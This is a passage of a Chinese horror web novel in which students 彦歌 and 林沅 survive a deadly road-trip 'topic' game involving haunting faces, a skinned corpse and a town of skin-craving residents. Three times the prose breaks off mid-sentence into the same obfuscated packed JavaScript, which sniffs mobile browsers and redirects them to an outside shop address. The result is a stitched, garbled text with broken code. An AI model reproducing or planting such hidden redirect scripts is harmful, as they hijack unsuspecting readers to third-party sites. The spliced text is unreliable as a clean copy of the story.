林沅黑着脸往后退,一脸不虞地看着彦歌:“非得让他坐我腿上吗?!” “你忍忍吧。”彦歌努力压制着想要上扬的嘴角,强迫自己专心开车,“总不能坐我腿上吧。” “离我远点!”林沅嫌弃地推了把眼镜男,“怎么一股烟味?你还抽了两根?” “我没有我没有!”趴在仪表台上的眼镜男连连摆手,“应该是车上的,我哪还有心情抽烟……” “好了好了!”林沅伸出一根手指按着眼镜男,“别扭了,老实坐着!” 眼睛男闻言牢牢趴在台子上,努力减少自己的屁股和林沅腿的接触面,“谢谢你们!我叫李谌,是Y大的,你们也是吗?” 没人理他,李谌也不觉得尴尬,他似乎想用聊天来麻痹自己的恐惧,“看来你们不是,你们是认识吗?课题还能和认识的人一起进来吗?” “你活过这个课题就知道了。”林沅大发慈悲的回了他一句,“我们两个是青……” 彦歌迅速打断:“我是他学姐。” 林沅转学后读大一,可不是正在读大二的彦歌的学弟吗? “……是。”林沅咬牙切齿地承认。 李谌眼中流露出羡慕的神色,“在这种地方还能有认识的人真好,不像我……突然就来了这里……” “本来我考研就够苦了,结果没想到还会来到这种地方……”李谌越说越觉得自己命苦,眼中不自觉地开始出现泪花,“早知道我就不说考研苦了,早知道会这样,我宁愿……我宁愿考一辈子研!” 一个男人话怎么能这么多? 彦歌有些头疼地推了下林沅,示意他让李谌闭嘴。 “……课题表现差劲的人无法进入最终课题,你有希望考一辈子研。” 李谌听到这句话更觉心酸,忍不住趴在台子上哭起来,“我、我就是笨啊!我本来就不想考研!可是现在学历贬值,我不考研,我更找不到工作,我找不到工作,我就没钱,我没钱,我就娶不到媳妇,我……” 彦歌一记眼刀刺向林沅:你就这么让人闭嘴? “……” 林沅轻咳一声,拿起地图翻看,“前方又要进入环山路了,频繁的声音可能会导致落石。” 李谌闻言立马收声,警惕地看着前方。 终于清静了。 彦歌紧赶慢赶,终于在17:54分赶到了休息点。 “哎哟!” 车刚停,李谌就被林沅一把推了出去。 林沅扶着车门,脚步虚浮地从车上下来。 被一坨一百多斤的肉硬生生压了几个小时,林沅现在都快感知不到双腿的存在了。 李谌揉了揉自己的屁股,讨好地凑到林沅面前:“林哥,不好意思,要我扶您吗?” 林沅脸黑的几乎能滴水:“滚!” “等会。”彦歌叫住李谌,“你跟在我们后面,别让其他人看见你,我没让你出来就别出来。” 李谌麻溜地躲到彦歌身后:“我明白!” 彦歌上前扶起林沅,“靠近点,把他堵死。” 以为彦歌是特意来扶自己的林沅:“……哦。” 休息点非常简陋,是几张蓝色的铁皮组装而成的集装箱,不仅摇摇欲坠,周身还有多处凹陷和划痕,让人不禁担心它什么时候就会突然塌下来。 彦歌扶着林沅走进集装箱,里面灯光昏黄,空气中又飘散着黄土风沙,使整个集装箱中仿佛罩了一层老照片般的模糊滤镜。 集装箱门口两侧分别摆着一些椅子,中间则是一个巨大的圆桌。学生们零零散散的坐在一旁,没人想靠近站在圆桌旁边的娜娜。 “哎呀哎呀!你们终于到了!差一点就要到六点了!”娜娜双手合十放在胸前,语气听不出好坏,“恭喜大家完成今天的路程!现在大家可以好好休息,迎接明天的旅程了!” 趁着娜娜在为大家介绍休息点,彦歌带着林沅和李谌迅速靠近独自坐在角落的王牌。 彦歌本以为在这模糊的环境和诡异的NPC面前,不会有人在意他们这细小的行动。但万事总有例外,总有人对他人的一举一动都充满好奇。 “他受伤了吗?” 彦歌压下心中不耐,对文修露出一个假笑,“有点晕车而已,不碍事。” “这样吗?”文修蹙起眉头,似乎有些担心,“那先在门口坐着吧?那边比较通风。” 彦歌:“ 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王牌双眼发直,不知在想什么,彦歌这一喊吓得他差点从椅子上摔下来。 “干什么?”王牌面色不善。 彦歌:“你是不是撞人了?” “你胡说什么呢?!”王牌听到这话整个人猛地一抖,神经质地打量着周围。 昏黄的灯光杂乱地照在彦歌脸上,色块不一的五官使她显得有些虚无,“李谌告诉我们的,他说是你撞的他。” “李谌?”王牌有些错愕。 “对。”彦歌拉过身边的林沅,“他躺在路中间,我们过去的时候他已经快死了。” 林沅点头附和:“死得很惨,浑身是血,说要找你报仇。” 王牌猛地起身,双目充血:“你们乱说什么?!我根本没有撞人,我只撞......” 王牌猛地噤声,又坐了回去,“反正我没撞他!” 彦歌摇摇头,似乎对他的不诚实不满意:“你怎么不承认呢?你看李谌都没回来,课题里自相残杀是会死的!” “我真的没撞他!”王牌崩溃害怕地看向彦歌,“我就超了一个人的车!我确信没撞!” 彦歌煞有其事地点头,似乎有点相信王牌:“但是李谌也没必要撒谎啊,而且他确实也没回来。” 王牌痛苦地挠了挠头,许久后突然抓起彦歌的手跪下,眼神绝望:“我......我知道了!一定是,一定是那个怪物!我撞了它,它杀了李谌,现在又要来杀我了!” “你救救我,你是老人,你一定有办法!” 林沅黑着脸拉下王牌的手,王牌却不在意地又握住林沅的手,转头对林沅道歉:“我,我错了!我才是娘炮!我不该骂你!” “......” 彦歌和林沅叹为观止。 人为了求生真是什么都干得出来。 林沅使劲抽出自己的手,在裤子上擦了擦,“你为什么会撞怪物?” 王牌神色惊恐,有些无力地垂下双手,“我,我没撞......是它自己冲过来的!” 彦歌和林沅有些意外地对视一眼。 20. 秋名山车神(4) 王牌人品虽然不怎么样,但他其实胆子并不大。 他连人都不敢撞,又怎么可能敢撞怪物? 他一开始确实被飙车的兴奋冲昏了头,但再怎么激动,一两个小时他也冷静下来了。 所以他发现前方拦车的母子时,立马谨慎地减速——文修说课题出现的一切都可能跟死亡条件有关。 可随着越来越近,他渐渐反应过来这两个根本就不是人! 恐惧一瞬间占据王牌,求生欲让他下意识加速逃跑。 可谁知,原本在路边的母子,不知为何突然出现在了他的车下。 彦歌恍然大悟:“应该是你没停车惹它们生气了。” 王牌抱着椅子腿,神情呆滞:“我该怎么办......” “啊啊啊!!” 喃喃自语的王牌突然大喊着推翻椅子:“鬼啊!!” 彦歌的心一紧,迅速起身看向身后。 一脸茫然无辜的李谌正睁着眼睛看着她。 “......” 哈哈,忘记李谌躲在后面了。 “哪有鬼?!”娜娜叉着腰在大厅巡视一圈后走到王牌旁边,“什么都没有嘛!下次不要在人家说话时插嘴了知道吗?” 王牌一脸空白地望着娜娜没有五官的脸。 娜娜并不介意王牌的沉默,她接着看向众人:“好了,我已经讲完了,大家好好休息吧!让我们在终点见!” 等到娜娜的身影彻底消失后,彦歌才带着李谌走到王牌面前:“他没死。” 李谌把王牌扶起来,拉着他的手放在自己脸上:“你摸摸,我是活的!我的车因为你坏了,彦歌怕我骗她,所以才来问你,你没事吧?” 得知李谌的死是假的后王牌立马恢复了曾经的嘴脸。 “走开!”王牌一把甩开李谌,阴着脸对彦歌“呸”了一口,“敢骗我?!一群不要脸的都给我等着!” “诶?发生什么了?”文修拉住准备回房间的王牌,“你现在就回去吗?我们等会还要集中讨论下......” “要你管老子?”王牌推开文修就准备往里走,却被他刚才推翻的椅子给绊的差点摔一跤。 “他爹的哪来的破椅子?!” 王牌骂骂咧咧地捂着腿。 “你不生气吗?” 彦歌看了眼林沅,不在意地理了理衣服:“又没吐到我。” “再说他估计活不过今晚了。” 林沅有些诧异地挑眉:“我以为你会告诉他的。” “我是有过这个想法。”彦歌收回放在王牌身上的目光,转身坐回位置上,“他自己不珍惜。” 林沅眸底微闪,跟着彦歌一起坐了回去。 与之而来的还有文修。 文修一脸好奇地问:“李谌是跟你们一起回来的?” 彦歌:“嗯。” 文修又问:“王牌刚才为什么叫啊?” 彦歌睨了眼文修:“叫的又不是我,你问我干嘛?” 文修心理素质倒是好,沉默两秒又恢复之前温润的表情:“......你说的对,那我们先吃晚饭吧?然后再讨论一下课题的事。” “男生们把桌子椅子搬一下吧,女生可以去热一下饭。”文修说着侧头看向林沅,“你......” 林沅不知何时又虚弱地趴在彦歌的肩头:“彦歌,我头好晕。” 彦歌面无表情地拍了拍林沅的头:“好好休息。” “......”文修垂了垂眸,深吸口气笑道:“那彦歌就先照顾下林沅吧。” 彦歌面带愧疚地抬了下手:“麻烦了。” “起来。”文修一走彦歌便立马冷着脸看向林沅。 林沅双手抱着彦歌胳膊:“我们要伪装的像一点。” “......那你给我起来一点,压死我了。”彦歌顶了下林沅的头。 林沅跟胶水一样死死扒在彦歌身上。 就在彦歌和林沅僵持不下时,屠思淼突然捧着两盒饭过来了。 “彦歌,咖喱牛肉和香菇滑鸡你喜欢哪一个?” 这次课题不仅住的地方简陋,吃的更是简陋,食物是速食,整个制作过程只需一台微波炉。 “......没有别的了吗?”彦歌望着屠思淼手里如同9.9包邮五盒的盒饭陷入沉默。 屠思淼沉痛地摇摇头:“没有了。” 反正这次课题时间就三天。 彦歌对屠思淼礼貌一笑:“谢谢,我现在还不饿。” 屠思淼看了眼彦歌旁边林沅,一脸了然地点头:“我知道了!” 你知道什么了? 彦歌满头问号地看着屠思淼的背影。 “终于收好了。”文修站在桌子旁冲着彦歌喊,“你们快过来吧!” 彦歌一把推开林沅:“搬过来。” “你这是?”文修眼含诧异地望向一只手一把椅子的林沅,“你已经恢复了?” 林沅将椅子放好拉开,示意彦歌坐,“嗯。” 文修面色一僵,半晌才道:“......那就好。” “谢谢关心。”林沅笑眯眯地看着文修。 文修紧了紧拳,不断在心中默念不要跟脸皮厚皮的人计较。 “彦歌,给你。”屠思淼坐到彦歌身旁,递给她两份饭。 “......谢谢。”彦歌沉默地盯着面前的咖喱牛肉和香菇滑鸡,“不过我吃不了两份。” 不仅如此,她其实一口都不想吃。 “不是。”屠思淼见彦歌误会了她的意思,连忙解释:“你尝尝看喜欢哪个,然后把不喜欢的给林沅。” ? 彦歌和林沅满头问号地愣在原地。 屠思淼凑到彦歌耳边,小声道:“他不是你弟弟吗?” 偷听到的林沅立马开口想解释:“我不……” “是,你说的没错。”彦歌拦住林沅,冲着屠思淼一笑,“你真聪明。” 学弟也是弟,林沅就是她弟。 屠思淼有些不好意思地挠挠头:“是吗?那你快吃吧!” “你挑吧。”彦歌将饭推到黑着脸的林沅面前,“你不觉得姐弟身份很适合我们伪装吗?” 林沅“哼”了一声,随便拿过一份饭,“我看你比较想占我便宜。” 明明他比彦歌还大三天! “你为什么会转到大一?”彦歌有些好奇。 林沅掀盖子的手一顿,“我爸要求的。他就是不想我回国。” 彦歌见林沅心情不佳,不再多问,“那你多吃点,国外吃不到这些吧。” 林沅望着如泥巴一般的香菇陷入沉默。 他突然愿意吃一辈子白人饭。 文修:“大家对这次课题有什么看法吗?” 肌肉男叹了口气:“现在毫无线索啊,路上也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16704724|188491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没看到什么奇怪的。” “要我说,现在也就人车数量不匹配有点暗示了。” 文修点头:“你说的有道理,那大家对这个怎么看呢?也是觉得这次课题只有六个人能通过吗?” 此话一出,原本还算和谐气氛一下僵了起来。 “呵呵。”肌肉男尬笑一声,“我觉得应该不会吧,之前都没听过课题有人数限制的先例。” 文修温和一笑:“也是,是我多想了。” “彦歌和林沅今天这么晚回来,是有什么发现吗?”文修矛头一转。 “只是路上带了个人而已。”彦歌瞥了眼李谌,“对了,他车坏了,你俩明天谁愿意带他?” “车坏了?”文修皱眉,“这是怎么回事?” 李谌捧着饭,小声说:“给王牌让路时不小心撞坏了。” 文修看了眼彦歌,随即温和地看向李谌:“这样吗?那你坐我的车吧。” 李谌:“谢谢。” . “巧克力和面包,你要哪个?” 彦歌伸手拿过巧克力,有些惊讶:“你还带吃的了?” “当然。”林沅将包拉好,“课题里的食物不是都好吃的。” 环境也不都是好的。彦歌在心里默默补了一句。 她从小养尊处优,这辈子别说住,她去都没去过这么破的地方。 这里的房间是用隔断板一间一间隔开的,不仅没有窗户,空气闷热,而且地面就是山上的黄土路,随便走两步都能掀起一阵尘土,呛的人眼泪直流。 里面的东西就更简陋了,只一张床和单人沙发,床单拿起来轻轻一抖就能抖落不少沙子和小虫。 彦歌想念竹楼了。 “你睡床,我睡沙发?” 半晌没得到回应,林沅只得放下手里的床单,有些疑惑地扭头。 彦歌仿佛卡帧了一样僵在原地。 林沅瞬间明白了为什么,他失笑道:“就三天,忍忍就过去了,我之前还住过更差的。” “……我给你守夜好了。”彦歌一脸严肃道。 反正她估计也是睡不着的,既然这样,不如不睡。 林沅将彦歌推到床边,使劲给她按了下去,“好啦,我给你抖干净了,凑合凑合吧。在课题长时间不睡会吃不消的。” “……被子给你吧。” 被单压在被子下面,好歹干净一点。 林沅忍住笑的欲望:“好。” 话虽这么说,但彦歌果然还是睡不着的。 她此时更加怀念竹楼,起码会让她强制入睡,这样就不会觉得这个环境煎熬了。 彦歌睁开眼叹了口气,真不知道林沅怎么睡着的。 这个集装箱不仅铁皮像从废品站偷的,连隔断板都像在垃圾箱里捡的,上面坑坑洼洼,像一个长满痘坑的人的脸。 彦歌有些嫌恶地将视线挪开,强迫自己忘记隔断板上面的黑点,却发现天花板上不知何时也变得坑坑洼洼了。 不对! 不只是天花板。彦歌想起来了,在关灯前,她明明看见隔断板是很光滑的,根本没有现在这些坑点。 仔细看,这些坑点,好像还有着某种形状? 彦歌坐起身,有些颤抖着摸向隔断板——那根本不是什么坑,而是隔断板凭空凸起了! 而将这些形状结合起来......竟是一张张凭空凸起的人脸! 21. 秋名山车神(5) 彦歌猛地抽回手,冷汗瞬间弥漫了她全身。 不知何时,这些密密麻麻的人脸竟已将她包围! 彦歌压抑着疯狂跳跃的心脏,仔细凑近看她刚刚摸的地方——是嘴。 似乎是感受到彦歌目光,那嘴竟轻轻勾起了一个弧度——它似乎......在笑。 彦歌脑中的弦一下断了,等她反应过来时所有的人脸竟都笑了起来! 这些人脸笑起来没有声音,但彦歌却感觉大脑被满满当当的笑声塞满。 她感到头疼欲裂,呕吐难忍。 这是为什么? 难道自己触犯死亡条件了? 可是林沅怎么会没事? 彦歌狠狠咬了下嘴,浓郁的血腥味让她获得短暂的清醒。 “林沅?”彦歌忍着脑中排山倒海般的剧痛,侧头看向沙发上的林沅。 房内一片漆黑再加上剧烈的头痛,彦歌只能模糊确认林沅还在沙发上。 “林沅?!”彦歌紧咬着唇,再次提高音量。 但林沅依旧没有反应,均匀的呼吸声正无声的告诉彦歌他睡的很熟。 这小子睡眠质量这么好?! 彦歌狠狠掐了把大腿,再次看向那些人脸。 它们的表情痛苦又扭曲,对着彦歌大张着嘴无声嚎叫。 吵的彦歌想把它们的嘴全部撕烂。 刺耳凄厉的尖叫不断刺激着彦歌的神经,名为烦躁的情绪在她内心猛长。 要冷静。彦歌不停告诫自己。 彦歌喘着粗气,软着腿下床,步履蹒跚地摸到门口。 她记得灯的开关在这里。 彦歌重重一按。 没反应。 叫声依旧猖狂地在脑中叫嚣着。 彦歌脱力地靠在门上,反复按着开关。 可是都没反应。 灯不可能突然坏了,一定跟人脸有关。 彦歌撑着床沿,晃晃悠悠地走到林沅面前,扯出被他牢牢抓在怀里的包,掏出里面的手机,迅速按开手电筒刺向人脸。 几乎在手电筒照到的一瞬间,墙上的人脸消失了。 彦歌脑中的声音也与此同步消散。 彦歌虚弱地跪坐在原地,深深呼吸好几次后才重新起身看向沙发上的林沅。 林沅仍安静地躺在沙发上,微微起伏的胸膛证明他仍在酣睡。 彦歌面无表情地盯着林沅看了会儿,接着一巴掌抽向他的脑袋。 “谁?!” 林沅瞬间从沙发上弹起,原本警惕阴沉的目光在看清手电筒光下的彦歌后瞬间化为无奈迷惑。 “你半夜不睡觉拿光照我干嘛?”林沅捂着眼睛道。 彦歌前进几步,手机几乎怼到林沅鼻孔,“你在课题还能睡得这么香?” 手电筒太过刺眼,林沅即使闭上眼也能感受到面前的强光,“我刚才睡得很深?” 许是因为林沅的语气疑惑又震惊,彦歌终于大发慈悲地挪开了手机。 “我可能触犯了死亡条件。” 正眯着眼缓解刚才不适的林沅,听到这句话猛地睁开双眼,“你说什么?!” 彦歌的脸在黑暗和他眼前的金星下显得模糊不清,林沅一时无法确认彦歌是否受伤,他的语气有些急促:“你刚刚遇到了什么?” “人脸。密密麻麻的人脸。”彦歌言简意赅地将刚才的事讲了一遍。 林沅沉默半晌后摇头:“我感觉不像是死亡条件。如果是死亡条件,你的手摸上它后就该被咬断了。” 那还真是谢谢了。 彦歌问:“不是死亡条件的话,我为什么会遇到刚才的事?” 林沅解释:“课题鬼怪会在它们认为合适的时机下,引诱学生触犯死亡条件。” 彦歌默了会,她想起自己刚才差点就忍不住撕烂它们的嘴。 “那这么说,它们和那对母子一样,会杀死攻击过它们的人?” “有可能,明天看看王牌的状态就知道了。”林沅确认彦歌只是脸色白了点后,心中下意识松了口气,“应该是你晚上睡不着,精神比较脆弱,给了它们可乘之机。” ......这破地方让她怎么睡得着? 彦歌脸色有些臭:“它们好狡猾。” 鬼怪本身就已经很危险了,而有了神志的鬼怪更是恐怖万分。 “所以课题里面能睡尽量睡。”林沅拿出瓶矿泉水,拧开递给彦歌,“你睡眠越少精神越差,它们越有机可乘。你想想,你进课题的时候是不是精神状况很差。” 怪不得要在那个时候打电话。 彦歌沉下脸:“所以根本不是他们说的随机抽取,而是趁你精神堪忧时趁虚而入。” 林沅:“对,新人大部分不知道,都会误以为是随机的。” “那你是遇到了什么事吗?”彦歌问。 算算时间,林沅差不多是刚回国没多久就进课题了,这期间他到底经历了什么,会让他精神差到被拖入课题? “跟我爸吵架了。”林沅模糊道。 彦歌:“好吧。” 每个人都有秘密,林沅不愿意告诉她很正常。 “时间不早了,赶紧睡吧。”林沅起身将外套铺在床上,“我守着你。” “不用,你也没睡多久。”彦歌倒不是体贴他,她是感觉林沅心情不太好,担心他被鬼怪引诱。 林沅看穿了彦歌想法:“......我没事!你快睡,你明天还要开车。” 好吧。彦歌不再客气,反正好言难劝该死鬼,她该说的都说了。 . “彦姐,林哥。” 彦歌和林沅腿刚伸进大厅李谌就立马迎了上来,满脸堆笑:“你们昨晚睡得怎么样?” “......有事?”彦歌感觉有点不妙。 李谌挠挠头:“彦姐,您行行好,再带我一次行吗......我什么都听您的!给您当牛做马,按摩,什么我都能干!” 似是怕彦歌不信,李谌撸起袖子就准备按。 “你别动。”林沅上前推开李谌,满脸抗拒,“昨天文修不是答应带你了?” 抱男人的感觉他可不想再尝试第二次了。 李谌低着头对手指,语气委屈又疑惑:“是这样的,但我早上起来去找文哥,发现他已经走了。” 彦歌瞳孔微微放大,一瞬间明白了什么似的,转身就去敲王牌的门。 “王牌?你醒了吗?” 李谌不明所以,但却积极,主动上前帮彦歌敲门,“彦姐,别累着您,我来!” “外面还有四辆车。”从外面小跑回来的林沅低声道。 “李谌,把门撞开。”彦歌盯着房门果断开口。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16711176|188491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 隔断板做的房间本就不结实,王牌的门又没锁,李谌没费多大力就撞开了,只是门内不知道有什么,李谌踩进去差点滑倒。 “什么东西?”李谌嘟嘟囔囔地低头一看,发现尽是满地鲜血! 李谌的身体下意识开始抖,但眼睛却忍不住好奇地看向床——一具被扒了皮的血尸直挺挺地躺在床上。 “啊啊啊——” 李谌崩溃地退出房门,望着彦歌哆嗦地半天说不出一句完整的话,“彦、彦姐......这、我、这......” 彦歌上前一把将李谌推向大厅,随即快步走进房门,“去大厅呆着。” 尸体的皮被扒的彻底又干净,即使是一个完全不懂人体的人见了都能想象出被扒下的是一张多么完整的皮。 红色血肉和黄色脂肪交织在一起,不断冲击彦歌的视觉。 彦歌皱着眉,忍住想呕吐的欲望,“这应该是王牌。” “不会有错了,其他人都在。”林沅说着示意彦歌看向门口目瞪口呆的屠思淼、一脸严肃的短发女和意外惊恐的肌肉男。 屠思淼捂着嘴巴,眼中不断冒出生理盐水,“这......这是王牌?!” 彦歌轻点下头:“你受不了就先出去跟李谌一起呆着吧。” 屠思淼连连点头,她拍了下短发女的肩膀,“郭馃,我先、我先退了......呕!” 被称做郭馃的女生眼中虽也有恶心之意,但表情却很冷静,她走到彦歌身边问:“这是什么情况?” 彦歌摇头:“我不知道。” 她在想,如果昨晚她被引诱成功,现在是不是也会跟王牌一样? 肌肉男单手握拳放在唇前咳嗽几声,皱眉道:“他昨天跟你说了几句才发疯的,你真不知道他干了什么?” 彦歌从肌肉男身侧走出房间,一路走到大门口才停下,里面浓郁的血腥味已经快要把她熏死。 “心虚的人别人说什么他都害怕。”彦歌睨了眼跟出来的肌肉男,“你不如想想文修,他不仅一大早一个人就跑了,还扔下了李谌。你猜他知不知道王牌死了。” 文修既然担心惹祸上身跑路,就该知道会引起怀疑。 那既然如此,再背个黑锅也不嫌多吧。 肌肉男一下茅塞顿开,“文修跑了?!我说他怎么还不出来,难道王牌的死跟他有关?” 彦歌:“我不知道,等到下个休息点你可以问问他。” 肌肉男连连点头:“你说得对,那我们赶紧赶路吧!时间也不早了。”肌肉男说着就走出去开车。 郭馃见状看向屠思淼:“那我们也走吧,今天路程比昨天还长,我们得抓紧了。” 彦歌也不准备多停留,她转身想招呼林沅,可李谌却不请自来地迎了上来,“额......彦姐!我呢......” 林沅皱眉:“你干嘛?王牌死了,你开他的车不就行了。” 李谌一下急了,“他、他死那么惨,我不敢......再说,我昨天才出了车祸!我真不敢......” 昨天的车祸李谌并没受伤,而且彦歌记得李谌车技不错,这样的人,会惧怕这么小的一个车祸吗? 可在课题里胆子变小也很正常...... 彦歌看向李谌:“你跟我一辆,林沅去开另一辆。” 林沅:?! 22. 秋名山车神(6) 李谌如坐针毡地望着后视镜中面无表情的林沅,“彦姐,不然我跟林哥一辆车吧......” “跟着我这个秋名山车神委屈你了?”彦歌甩着方向盘转过一个急弯,“而且你林哥车技不好,他带路我不放心。” 李谌直起摔得七荤八素的身体,偷瞄了眼林沅。 车技不好还能按照彦歌要求的距离一直跟着? 彦歌:“行了,好好给我看地图。” “哦哦。”李谌怕彦歌扔下他,连忙抓起地图,“这条大路一百里后是一片沼泽地,彦姐,我......”刚准备建议彦歌减速慢行的李谌,一下被眼前的景色看傻了眼。 彦歌有些疑惑:“怎么了?” 李谌看看窗外又看看地图,有些无措迷茫地看向彦歌:“彦姐,前面的路好像跟地图上不一样。” 彦歌倏地停车看向李谌,“哪里不对?” 李谌将地图递给彦歌,语气紧张,“地图上显示这条路就是条普通的山路,但是、但是现在前面却是个小镇......彦姐!我跟您保证!我绝对照着地图给您指的路!绝对不是我的......” 彦歌打断李谌自责的话,“没事,先下车跟林沅说明一下。” 地图并不难读懂,彦歌并不觉得李谌会看错。所以唯一的情况,就是课题在捣鬼。 听完事情经过的林沅开始阴阳:“我昨天给你指路的时候可没有这情况,这才走了多久,怎么就出事了?” 李谌羞愧地低着头。 彦歌:“这不是李谌的问题,估计是课题在捣鬼。我看了下,周围无路可绕,我们现在只能先进去了。” 他当然知道是课题在搞鬼了! 林沅憋着火无处发,只能在心里骂两句解气,“......那先进去吧。” 谁知一向言听计从的李谌此时却忽然变了性,坚决反对进去,“不行!我、彦姐,林哥,你们想,课题故意把我们引到这里,不就是想让我们进去吗?那我们现在进去不就等于如了它的意吗?” 彦歌点点头:“那你认为?” 李谌眼看有望,心中一喜,开始给彦歌出主意,“彦姐,您知道海市蜃楼吗?其实这只是一种因光的折射和反射形成的自然现象,它并不是真的。所以依我看,这说不定也是课题制造的幻觉,想要蒙蔽我们罢了!” “你说的很有道理啊。”彦歌的话让李谌更加喜悦,他刚要沉浸在美滋滋的情绪中,下一秒彦歌的话又让他心如死灰。 “既然是幻觉,那我们开过去就好了,上车吧。”彦歌一边说一边拉开车门。 李谌欲哭无泪:“彦姐......” 彦歌从车窗探出头,面色冷淡:“上车。” 李谌老实地上了车。 林沅冲着彦歌挑眉,他现在明白彦歌想干嘛了。 彦歌:“你傻站着干嘛?” “......” 小镇跟这座山一样,荒凉又诡异,即使房屋密密麻麻,路上的居民络绎不绝,却仍给人一种死寂之感。 镇上的建筑也和山一样,淋满黄土沙石。彦歌原本以为这些都是沙土建造的,走近才发现,其实是被厚重的沙土覆盖,导致连原本的样子都不见了。 “镇上不许开车!” 彦歌的车刚开进镇子,周围就立刻围满了居民。 彦歌侧头看向窗外的人。 不,它已经不算是人了。 因为没有人的皮会这样松垮扭曲。 窗外人的眼窝深陷,颧骨高突,森森的牙齿裸露在外,脸上几乎没什么皮肉,乍一看宛如一具行走的骷髅;往下看,脖子处的皮却如千层饼一样堆积,不知道的还以为是他围了条围脖。 这些居民虽然个个模样怪异,但每个人都有相同的特征:皮肤松垮,身形瘦削如骨柴。跟她昨天遇到的那对母子一样,看来他们也是这里的人。 李谌咬着手指,几乎快要哭出来,“彦姐......” 彦歌:“先下车。” “你们是谁?镇上不可以开车!” 彦歌三人刚下来就被居民围住,垂涎诡异的眼神在他们身上扫动,让彦歌感觉自己如同砧板上的肉。 “喂!怎么不说话?”围脖哥见三人沉默,再次开口问。 “是哑巴吗?” “我看像!” “哑巴的皮不知道怎么样......” “不好意思,我们迷路不小心开进来了。”彦歌出声打断它们的窃窃私语,“可以通融一下让我们过去吗?” 此话一出,居民猛地噤声,大家你看我我看你,脸上皆是诡异的笑容,但都默契的不说话。 “嘻嘻。”过了好一会儿,围脖哥才怪笑地出声,“可以哟!不过作为交换,你们要帮助我们完成三件事。” 彦歌:“什么事?” 围脖哥张着嘴,被黄色的小舌头遮住的喉咙不断发出怪异的“嗬嗬”声。彦歌谨慎地往后退了几步,她担心它会突然吐她一身。 “那要看今天哪些居民有事要忙了。”围脖哥将头360°转了一圈,问居民:“你们谁有事呀?” 一个浑身鼓鼓囊囊的戴着白色高帽的男人走了出来,“我有事!” 它的皮表面上并不松垮,但细看就能发现皮肤里面有无数凹凸不平的东西正在不停蠕动——是那些东西将它的皮撑着。 李谌脸色发白地躲到彦歌和林沅身后,他现在整个人已经处于崩溃的边缘了。 围脖哥拍拍手:“好呀!那你们就先跟着李大厨过去吧!” “不过,”围脖哥忽地凑近彦歌,“如果你们完成不了的话,就要一辈子留在我们身上哦!” “好的。”彦歌对着围脖哥一笑,伸手抚向它的脖子,“我们一定会努力完成的。” 围脖哥猛地往后一退,恶狠狠地瞪向彦歌,“不许摸我的皮!” 彦歌若无其事地将手背到身后摩挲,她好像知道它们的皮是怎么回事了。 这种奇异的质感,应该是人皮老化风干后造成的。 它们的皮死了,可是肉还活着。 彦歌被心里突然冒出的这句话,渗得起了一身鸡皮疙瘩。 “但是你可以摸我。”围脖哥和善地看向林沅,眼中的渴望几乎要凝成口水滴下,“你要摸我吗?” “?” 被突然点名的林沅斟酌半天才开口:“......不用了,谢谢。” 彦歌的嘴绷成直直的一条线,即使她猜到它是想要林沅的皮,她还是好想笑啊! 围脖哥有些遗憾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16720753|188491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地垂下眼睛,“好吧,那你们就跟着李大厨走吧。” 彦歌问:“那我们的车?” 围脖哥:“完成任务你们再回来开走。” 行吧。彦歌等人只好老老实实地跟在满面红光的李大厨身后,迎着无数居民羡慕的目光,一路走进李大厨的餐厅。 进去前彦歌看了眼门口的牌匾,“大刀剁肉”。 下面还有一条宣传语:选好刀,剁好肉,锋利大刀剁大肉! 什么废话。 彦歌忍不住在内心吐槽。 “我是镇上最好的大厨,但最近我遇到了一个难题。”李大厨将他们带到餐厅后的院子,一脸苦恼地说:“这个难题如果解决不了,我就再也不是最好的大厨了!” “什么难题?”彦歌一边问一遍打量着周围。 这个院子很大,中间放着一个大约一米高的铺满红色地毯的擂台,擂台上有个大长铁桌子,上面摆满了密密麻麻的刀具。 李大厨走上擂台,站到铁桌后面,冲他们露出一个笑:“我需要选一把新刀,作为厨师最重要的工具就是刀了。” “刀是一个厨师的灵魂,是一家好餐厅的根本!没有好刀,就剁不出完美的肉!”李大厨越说越激动,连带着皮下的东西也迅速蛄蛹,“不完美的肉是可悲的、失败的!剁不出完美的肉就无法割出......” 李大厨一下噤声,瞬间收回所有情绪,微笑看向他们:“总之,我需要你们帮我选一把好刀。” “看来选不好它会直接把我们剁了。”林沅凑到彦歌耳边,“你想选哪一把呢?” 彦歌平静地看向林沅:“你先想想自己吧,外面还有围脖哥等着你呢。” 林沅盯着彦歌远去的背影想了好一会儿才明白她说的围脖哥是谁。 ......他有点恶心。 “林哥。”李谌畏缩地走到林沅身边,“我们也上去吗?” 